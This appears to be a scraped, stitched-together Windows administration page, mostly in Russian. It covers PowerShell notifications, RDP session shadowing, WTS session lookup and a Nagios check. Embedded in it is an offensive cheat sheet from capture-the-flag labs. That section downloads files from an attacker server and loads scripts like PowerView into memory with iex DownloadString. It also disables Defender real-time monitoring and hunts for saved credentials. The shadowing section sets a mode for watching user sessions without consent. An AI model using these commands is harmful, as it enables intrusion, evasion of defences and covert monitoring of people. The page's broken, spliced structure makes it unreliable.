Вывод уведомлений пользователям из скриптов power shell

Assuming that “current session” means the active console session.
In that case you can retrieve the session id by calling WTSGetActiveConsoleSessionId.

Retrieves the session identifier of the console session. The console session is the session that is currently attached to the physical console

Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public class WTS { [DllImport("Kernel32.dll")] public static extern uint WTSGetActiveConsoleSessionId(); [DllImport("Wtsapi32.dll")] public static extern bool WTSQuerySessionInformation( IntPtr hServer, uint SessionId, WTS_INFO_CLASS WTSInfoClass, out IntPtr ppBuffer, out uint pBytesReturned); [DllImport("Wtsapi32.dll")] public static extern void WTSFreeMemory(IntPtr pointer); public enum WTS_INFO_CLASS { WTSInitialProgram = 0, WTSApplicationName = 1, WTSWorkingDirectory = 2, WTSSessionId = 4, WTSUserName = 5, WTSWinStationName = 6, WTSDomainName = 7, WTSConnectState = 8, WTSClientBuildNumber = 9, WTSClientName = 10, WTSClientDirectory = 11, WTSClientProductId = 12, WTSClientHardwareId = 13, WTSClientAddress = 14, WTSClientDisplay = 15, WTSClientProtocolType = 16, WTSIdleTime = 17, WTSLogonTime = 18, WTSIncomingBytes = 19, WTSOutgoingBytes = 20, WTSIncomingFrames = 21, WTSOutgoingFrames = 22, WTSClientInfo = 23, WTSSessionInfo = 24, WTSSessionInfoEx = 25, WTSConfigInfo = 26, WTSValidationInfo = 27, WTSSessionAddressV4 = 28, WTSIsRemoteSession = 29 } public static string GetUsername(uint sessionId) { IntPtr buffer; uint bytesReturned; string userName = "Unknown"; if (WTSQuerySessionInformation(IntPtr.Zero, sessionId, WTS_INFO_CLASS.WTSUserName, out buffer, out bytesReturned) && bytesReturned > 1) { userName = Marshal.PtrToStringAnsi(buffer); WTSFreeMemory(buffer); } return userName; }
}
"@ -Namespace "Win32" -UsingNamespace "System.Runtime.InteropServices"
# Get the active console session ID
$sessionId = [Win32.WTS]::WTSGetActiveConsoleSessionId()
if ($sessionId -eq 0xFFFFFFFF) { Write-Host "No active session."
} else { # Get the username associated with this session $username = [Win32.WTS]::GetUsername($sessionId) Write-Host "Username: $username"
}
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public class WTS { [DllImport("Kernel32.dll")] public static extern uint WTSGetActiveConsoleSessionId(); [DllImport("Wtsapi32.dll")] public static extern bool WTSQuerySessionInformation( IntPtr hServer, uint SessionId, WTS_INFO_CLASS WTSInfoClass, out IntPtr ppBuffer, out uint pBytesReturned); [DllImport("Wtsapi32.dll")] public static extern void WTSFreeMemory(IntPtr pointer); public enum WTS_INFO_CLASS { WTSInitialProgram = 0, WTSApplicationName = 1, WTSWorkingDirectory = 2, WTSSessionId = 4, WTSUserName = 5, WTSWinStationName = 6, WTSDomainName = 7, WTSConnectState = 8, WTSClientBuildNumber = 9, WTSClientName = 10, WTSClientDirectory = 11, WTSClientProductId = 12, WTSClientHardwareId = 13, WTSClientAddress = 14, WTSClientDisplay = 15, WTSClientProtocolType = 16, WTSIdleTime = 17, WTSLogonTime = 18, WTSIncomingBytes = 19, WTSOutgoingBytes = 20, WTSIncomingFrames = 21, WTSOutgoingFrames = 22, WTSClientInfo = 23, WTSSessionInfo = 24, WTSSessionInfoEx = 25, WTSConfigInfo = 26, WTSValidationInfo = 27, WTSSessionAddressV4 = 28, WTSIsRemoteSession = 29 } public static string GetUsername(uint sessionId) { IntPtr buffer; uint bytesReturned; string userName = "Unknown"; if (WTSQuerySessionInformation(IntPtr.Zero, sessionId, WTS_INFO_CLASS.WTSUserName, out buffer, out bytesReturned) && bytesReturned > 1) { userName = Marshal.PtrToStringAnsi(buffer); WTSFreeMemory(buffer); } return userName; }
}
"@
# define WTS_CURRENT_SESSION
[uint32]$WTS_CURRENT_SESSION = [uint32]::MaxValue
# get username for "current" session:
[WTS]::GetUsername($WTS_CURRENT_SESSION)

screenshot

The script looks like this:

(qwinsta.exe) | findstr /v Disc | findstr /v Conn | findstr /v Listen | foreach { (($_.trim() -replace "\s+",","))} | ConvertFrom-Csv | findstr.exe USERNAME > C:\temp\users.txt

And then the customization for the Nagios output:

(Get-Content C:\temp\users.txt) -replace 'USERNAME', '' -replace ':','' | Set-Content C:\temp\users.txt
$lines = Get-Content C:\Temp\users.txt
$var=($lines|group|?{$_.count -ge 1}|Select -ExpandProperty Name) -join ","

I suspect the problem is in the way I wrote the Nagios output in Powershell:

if ($LoggedOnUsers -lt 1){<br> $NagiosStatus = "0"<br> Write-Host "No users are logged on"<br> }<br>
else <br> {<br> if (($Today -like "Saturday" -OR $Today -like "Sunday") -AND ($LoggedOnUsers -eq 1)) <br> {<br> $NagiosStatus = "2"<br> if ($LoggedOnUsers -eq 1) {<br> Write-Host "$LoggedOnUsers user logged on: $var"<br> }<br> else {<br> Write-Host "$LoggedOnUsers users logged on: $var"<br> }<br> }<br> else <br> {<br> if (($now -lt $max) -AND ($now -gt $min)) {<br> $NagiosStatus = "1"<br> if ($LoggedOnUsers -eq 1) {<br> Write-Host "$LoggedOnUsers user logged on: $var "<br> }<br> else {<br> Write-Host "$LoggedOnUsers users logged on: $var"<br> }<br> }<br> else {<br> $NagiosStatus = "2" <br> if ($LoggedOnUsers -eq 1) {<br> Write-Host "$LoggedOnUsers user logged on: $var"<br> }<br> else {<br> Write-Host "$LoggedOnUsers users logged on: $var"<br> }<br> }<br> }<br> }<br>
exit $NagiosStatus<br>

Not sure how to write the output for Check_mk.
Any ideas welcome.

This is how the output looks in Nagios:
enter image description here

  • Cmdlet format: Verb-Noun the output of these cmdlets are objects

  • Commom verbs: Get, Start, Stop, Read, Write, New, Out.

  • Get-Command to list all commands

    • Get-Command Verb-* or Get-Command *-Noun to filter the command

  • Get-Help Command-Name will output help on a command.

  • An object will contain methods and properties. You can think of methods as functions that can be applied to output from the cmdlet and you can think of properties as variables in the output from a cmdlet

  • One way of manipulating objects is pulling out the properties from the output of a cmdlet and creating a new object. This is done using the Select-Object cmdlet.

  • first – gets the first x object

  • last – gets the last x object

  • unique – shows the unique objects

  • skip – skips x objects

  • Operators: Contains If any item in the property value is an exact match for the specified value/, EQ If the property value is the same as the specified value, GT If the property value is greater than the specified value

  • Full list of operators here

Source: TryHackMe – Throwback

  • certutil.exe -urlcache -f http://IP-OF-YOUR-WEBSERVER-WHERE-FILES-ARE-HOSTED/file-you-need name-you-want-to-give-the-file (works also in cmd)

URLCache command completed successfully.

  • wget http://IP-OF-YOUR-WEBSERVER-WHERE-FILES-ARE-HOSTED/file-you-need -OutFile name-you-want-to-give-the-file

  • iex (New-Object Net.WebClient).DownloadString('http://IP-OF-YOUR-WEBSERVER-WHERE-FILES-ARE-HOSTED/file-you-need') will load it in memory without writing it in the disk, we will the be able to run powerview command if we use it to load powerview for instance

  • Set-MpPreference -DisableRealtimeMonitoring $true

  • Enter-PSSession -ComputerName workstation-01

  • Get-MpComputerStatus Check Windows Defender Status

  • gci (Get-ChildItem) list named pipes

  • Get-ChildItem C:\ -Recurse -Include *.rdp, *.config, *.vnc, *.cred -ErrorAction Ignore search for file extensions

  • View Sticky Notes data

    PS C:\htb> cd .\PSSQLite\PS C:\htb> Import-Module .\PSSQLite.psd1

  • certutil.exe -urlcache -f http://IP-OF-YOUR-WEBSERVER-WHERE-FILES-ARE-HOSTED/file-you-need name-you-want-to-give-the-file

  • curl.exe -o name-you-want-to-give-the-file http://IP-OF-YOUR-WEBSERVER-WHERE-FILES-ARE-HOSTED/file-you-need

Encode and Decode files

  • certutil -encode file1 encodedfile

  • certutil -decode encodedfile file2

  • OS Name: Microsoft Windows 7 Enterprise OS Version: 6.1.7600 N/A Build 7600System Type: X86-based PC

  • If we want to see patches and update wmic qfe

    • wmic qfe get Caption,Description,HotFixID,InstalledOn

  • List the drives wmic logicaldisk list drives

  • schtasks query scheduled task

    • schtasks /query /fo LIST /v

  • driverquery will list installed drivers

  • tasklist /svc get the list of running processes

  • set display all environment variables

  • wmic product get name display installed software

  • icacls c:\Windows\System32\config\SAM check permissions on the SAM file

  • net localgroup net localgroup groupname will give info on group

  • net accounts Get Password Policy & Other Account Information

  • ipconfig or ipconfig /all

  • netstat -ano list active connections

    • -a: Displays all active connections and listening ports on the target system.

    • -n: Prevents name resolution. IP Addresses and ports are displayed with numbers instead of attempting to resolves names using DNS.

    • -o: Displays the process ID using each listed connection.

    • Any port listed as “LISTENING” that was not discovered with the external port scan can present a potential local service. This is when we might need to use port forwarding to investigate the service.

  • Check what service runs on a specific port (in the example we will use 8080

C:\Program Files\Windows PowerShell\*

  • cmdkey /list list saved credentials

  • sc query windefend will show if Defender is running

  • sc queryex type= service will list all running service

  • netsh advfirewall firewall dump check for firewall

  • netsh firewall show state similar older command

Execute dll files

Execute powershell file

  • Sometimes powershell won’t launch so we will have to use cmd. It is possible to execute a ps1 script using this trick

    • We take the necessary script in our attacking machine

    • python3 -m http.server 80 we serve it to our target with an http server

  • powershell -file file.ps1

Pipelist is useful to enumerate instances of pipes

  • pipelist.exe /accepteula enumerate instances of named pipes.

Accesschk is useful to enumerate permissions

  • accesschk.exe -wuvc Everyone * list service we can write and to which everyone has access

schtasks will let us enumerate scheduled tasks

  • schtasks /query /fo LIST /v

Security configuration review

# List all local groups# Check permissions on sensitive files or folders

# Retrieve password policy settings# Check for password expiration settings# Check for password complexity requirements

# Check for installed updates# List missing updates

# List all firewall rules in a file# Check specific rule properties

# Check antivirus status# Check last scan time

Event logging review

# List security event logs# Check for specific event IDs related to security incidents

# Check BitLocker status# Check BitLocker encryption method

Remote Access Review

# List RDP settings# Check RDP port configuration

# List all services# Check service startup type

Backup and recovery

# Check backup status# Verify backup destination

Вы можете использовать возможности теневых подключений (Remote Desktop Shadowing) для удалённого подключение к сессиям пользователей на компьютерах Windows. Это функционал является по сути аналогом Remote Assistance и позволяет администраторам удаленно просматривать и взаимодействовать с рабочим столом пользователей как на десктопных версиях (Windows 11 или 10), так и на RDS серверах Windows Server.

Настройка клиентов Windows для удаленного подключения через теневые сессии

Вам нужно определенным образом настроить компьютеры, к которым вы хотите подключаться через теневое подключение.

  1. Включите удаленный рабочий стол (RDP) на компьютерах пользователей (вручную или через GPO);включить RDP доступ к Windows 10
  2. Ваша учетная запись должна обладать правами локального администратора на компьютере пользователей (вы можете добавить пользователя в группу администраторов вручную или с помощью групповых политик);
  3. Настройте режим теневого подключения (нужно ли запрашивать подтверждение пользователя, и возможно управления в сессии или только наблюдение). Можно настроить режим через групповую политику “Установить правила удаленного управления для пользовательских сеансов служб удаленных рабочих столов” (Set rules for remote control of Remote Desktop Services user sessions) в разделе Конфигурация компьютера -> Административные шаблоны –> Компоненты Windows –> Службы удаленных рабочих столов –> Узел сеансов удаленных рабочих столов –> Подключения (Policies -> Administrative Templates -> Windows components -> Remote Desktop Services -> Remote Session Host -> Connections).политика Установить правила удаленного управления для пользовательских сеансов служб удаленных рабочих столов
    Доступны 5 режимов:0 – запретить удаленное управление;
    1 — полный контроль с разрешения пользователя;
    2 — полный контроль без разрешения пользователя;
    3 — наблюдение за сеансом с разрешения пользователя;
    4 — наблюдение за сеансом без разрешения пользователя.
  4. Вы можете включить нужный режим напрямую в реестре. Отредактируйте реестр вручную или с помощью команды (в этом примере мы установили 4 режим – разрешить просмотр сеанса пользователя без уведомления):
    reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow /t REG_DWORD /d 4

    По умолчанию данный теневое подключение выполняется в режиме полного контроля с разрешения пользователя.

  5. Настройте правила Windows Defender Firewall, разрешающие трафик теневых подключений по сети. Для трафика session shadowing в Windows вместо стандартного порта 3389/RDP используются порты 139/TCP, 445/TCP и диапазон динамических RPC портов (49152 по 65535). Чтобы разрешить входящий трафик теневых подключений, нужно включить два преднастроненных правила в Windows:
    File and Printer Sharing (SMB-In)
    и
    Remote Desktop - Shadow (TCP-In)
    . Последнее правило разрешает удаленный доступ к процессу
    RdpSa.exe
    . Вы можете включить правила Windows Defender на компьютерах пользователей через GPO или с помощью PowerShell командлета Enable-NetFirewallRule.правила windows defender firewall для удаленных теневых подклчений к пользователям

Удаленное подключение к сессии пользователя Windows через RDP Shadowing

Рассмотрим, как удаленно подключиться рабочему столу сессии другого пользователя на удаленном компьютере Windows через теневые подключения RDP. В этом примере я покажу, как подключиться с компьютера Windows 11 к сессии пользователя на рабочей станции пользователя с Windows 10.

Для теневого подключения к сессии пользователя используется стандартная RDP утилита mstsc.exe. Формат команды такой:

Mstsc.exe /shadow:<ID сессии> /v:<Имя или IP адрес компьютера>

Также можно использовать одну из опций:

  • /prompt – запросить имя и пароль пользователя, под которым выполняется подключение (если не указано, подключение выполняется под текущим пользователем).
  • /control – режим взаимодействия с сеансом пользователя. Если параметр не задан, вы подключитесь в режиме просмотра (наблюдения) сессии пользователя, т.е. вы не сможете управлять его мышью и вводить данные с клавиатуры;
  • /noConsentPrompt – не запрашивать у пользователя подтверждение на подключение к сессии.

Теперь нужно узнать имя пользователя и ID его сессии на удаленном компьютере (если пользователь работает непосредственно за консолью компьютера, то ID его сессии всегда будет равно 1).

Выведем список сессий пользователей на удаленном компьютере (это может быть как десктопный компьютер с Windows 11/10 или Windows Server с ролью Remote Desktop Services Host (RDSH).

qwinsta получить id сессии пользователя на удаленном компьютере windows

Чтобы подключиться к рабочему столу этого пользователя через теневое подключение, выполните команду:

mstsc.exe /shadow:1 /v:wks-w10b01

mstsc shadow - подключение к рабочему столу сессии пользователя через shadow

На экране пользователя Windows появится запрос подтверждения подключения администратора к его сеансу:
Запрос на удаленное подключение
Username запрашивает удаленный просмотр вашего сеанса. Вы принимаете этот запрос.

подтвердить подключение к пользователю через теневую сессию

Если служба TermService на удаленном компьютере отключена, то при попытке удалённого подключения через RDP shadow появится ошибка:

The version of Windows running on this server does not support user shadowing

эта версия windows не поддерживает shadow подключения

просмотр сессии пользователя на удаленном компьютере по сети через теневое подключение

В данном случае вы подключились непосредственно подключиться к консольной сессии пользователя без блокировки его сеанса. При удаленном подключении к Windows 10 через обычный RDP, то сессия локального отключается (даже если вы включите возможность использования нескольких одновременных RDP сессий в Windows 10).

Если сессия пользователя заблокирована, или появляется запрос повышения привилегий UAC, то без исопльзования режима
mstsc /control
окно с теневой сессией становится черным и на нем появляется символ паузы.

Теневая сессия переходит в приостановленное состояние, если у пользователя появляется запрос UAC на Secure desktop. После того, как пользователь подтвердит действие UAC, ваша сессия возобновится.

пауза в shadow сессии

Чтобы развернуть окно теневой сессии во весь экран, воспользуйтесь комбинацией клавиш Ctrl + Alt + Break.

Для завершения теневой сессии нажмите на компьютере
alt+*
(или
ctrl+*
на RDS сервере).

}

В данном примере мы оповещаем пользователя звуковым оповещением, но вы можете вывести всплывающее уведомление на рабочий стол. Можно запустить этот PowerShell скрипт как службу Windows.

Вы можете получить историю теневых подключений к компьютеру пользователя из журнала событий Windows. Все интересующие вас логи находятся в разделе Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational:Event Viewer

  • Event ID 20508 — Shadow View Permission Granted
  • Event ID 20503 — Shadow View Session Started
  • Event ID 20504 — Shadow View Session Stopped

Вы можете получить логи теневых подключений к компьютеру с помощью PowerShell:

powershell скрипт для получения истории (логов) теневых подключений в windows

Функционал теневого подключения Remote Desktop Shadowing работает в Windows 11/10/ 8.1 и Windows Server 2022/2019/2016/2012 R2. Таким образом Remote Desktop Shadowing можно использовать как аналог Remote Assistance (Удаленный помощник) или TeamViewer/Anydesk для локальной или корпоративной сети.

Для оповещения пользователей о различных событиях, вы можете выводить различные графические уведомления из скриптов PowerShell. В PowerShell можно использовать всплывающие уведомления в трее Windows или модальные окно для получения информации от пользователя или подтверждения действия.

Вывести всплывающее сообщение на экран с помощью PowerShell

Для вывода простых модального диалогового окна в Windows можно воспользоваться Wscript классами подсистемы сценариев Windows. Следующий PowerShell код выведет обычное текстовое окно с вашим текстом и кнопкой OK.

$wshell = New-Object -ComObject Wscript.Shell
$Output = $wshell.Popup("Скрипт формирования отчета выполнен")

Wscript.Shell вывод уведомлений в POwershell

Вы можете настроить вид модального окна такого сообщения и добавить кнопки действия для пользователей. Например, чтобы вывести всплывающее окно с кнопками Да и Нет, выполните:

$wshell.Popup

$Output = $wshell.Popup("Скрипт формирования отчета завершен! Хотите вывести его на экран?",0,"Отчет готов",4+32)

Если пользователь нажмет Да, команда вернет значение
6
, а если Нет –
7
.

В зависимости от выбора пользователя вы можете выполнить какое-то действие, или завершить скрипт.

switch ($Output) { 7 {$wshell.Popup('Нажата Нет')} 6 {$wshell.Popup('Нажата Да')}
default {$wshell.Popup('Неверный ввод')} } 

Общий синтаксис и параметры метода Popup:

  • <Text> — текст сообщения.
  • <SecondsToWait> — необязательный, число. Количество секунд, по истечении которого окно будет автоматически закрыто.
  • <Title> — текст заголовка окна сообщения (необязательный параметр).
  • <Type> — комбинация флагов, определяет тип кнопок и вид значка (числовое значение, не обязательный параметр). Возможные значения флагов:
    • 0 — кнопка ОК.
    • 1 — кнопки ОК и Отмена.
    • 2 — кнопки Стоп, Повтор, Пропустить.
    • 3 — кнопки Да, Нет, Отмена.
    • 4 — кнопки Да и Нет.
    • 5 — кнопки Повтор и Отмена.
    • 16 — значок Stop.
    • 32 — значок Question.
    • 48 — значок Exclamation.
    • 64 — значок Information.

Команда PowerShell возвращает целое значение, с помощью которого можно узнать, какая кнопка была нажата пользователем. Возможные значения:

  • -1 — таймаут.
  • 1 — кнопка ОК.
  • 2 — кнопка Отмена.
  • 3 — кнопка Стоп.
  • 4 — кнопка Повтор.
  • 5 — кнопка Пропустить.
  • 6 — кнопка Да.
  • 7 — кнопка Нет.

Если нужно показать пользователю окно ввода и запросить данные, воспользуйтесь классом Windows Forms.

Чтобы обработать введенные пользователе данные:

if ([string]::IsNullOrWhiteSpace($input)) { Write-Host "Данные не указаны"
} else { Write-Host "Вы ввели $input"
}

Вывести окно для ввода данных пользователя в powershell скрипте

Если нужно вывести всплывающее окно поверх всех окон, используйте команду:

Вывести уведомление пользователю Windows из скрипта PowerShell

С помощью класса Windows Forms можно вывести более красивые всплывающие сообщения (ballons). Следующий скрипт выведет всплывающее сообщение рядом с панелью уведомлений Windows, которое автоматически исчезнет через 10 секунд:

всплывающее уведомление в POwerShell

Для создания красочных всплывающих сообщений в Windows можно использовать отдельный PowerShell модуль BurntToast.

Установите модуля из PowerShell Gallery:

Install-Module -Name BurntToast

Теперь, например, в ранее рассматриваемый скрипт автоматического отключения от Wi-FI сети при подключении к Ethernet можно добавить уведомление с картинкой:

New-BurntToastNotification -Text "Отключение от Wi-Fi сети", "Вы были отключены от Wi-Fi сети, т.к. Вше устройство было подключено к скоростному Ethernet подключению." -AppLogo C:\PS\changenetwork.png

Вывести всплывающее уведомление uvedomlenie New-BurntToastNotification

Отправка сообщения пользователю на удаленный компьютер

С помощью PowerShell вы можете отправить всплывающее сообщение пользователю на удаленный компьютер. Сначала нужно получить список сессии пользователей на удаленном компьютере (в случае RDS сервера):

qwinsta: список сессий пользователей на удаленном компьютере

Чтобы отправить сообщение в сессию пользователя на удаленном компьютер, выполните команду:

MSG kbuldogov /server:rds1 "Сервер будет перезагружен через 10 минут. Закройте документы"

Если всплывающее сообщение нужно отправить всем пользователям укажите * вместо имени пользователя:

MSG * /server:rds1 "Срочное сообщение всем! "

PowerShell msg вывести сообщение пользователю на удаленном компьютере

Для отправки всплывающего графического уведомления на удаленный компьютер можно воспользоваться скриптом RemoteSendToasNotification.ps1 из нашего GitHub репозитория ( https://github.com/winadm/posh/blob/master/scripts/RemoteSendToasNotification.ps1). Для подключения к удаленному компьютеру используется командлет Invoke-Command, который использует WinRM.

Отправить всплывающее сообщение пользователю на удаленный компьютер Windows

:/>  Файл подкачки windows настройка и полезная информация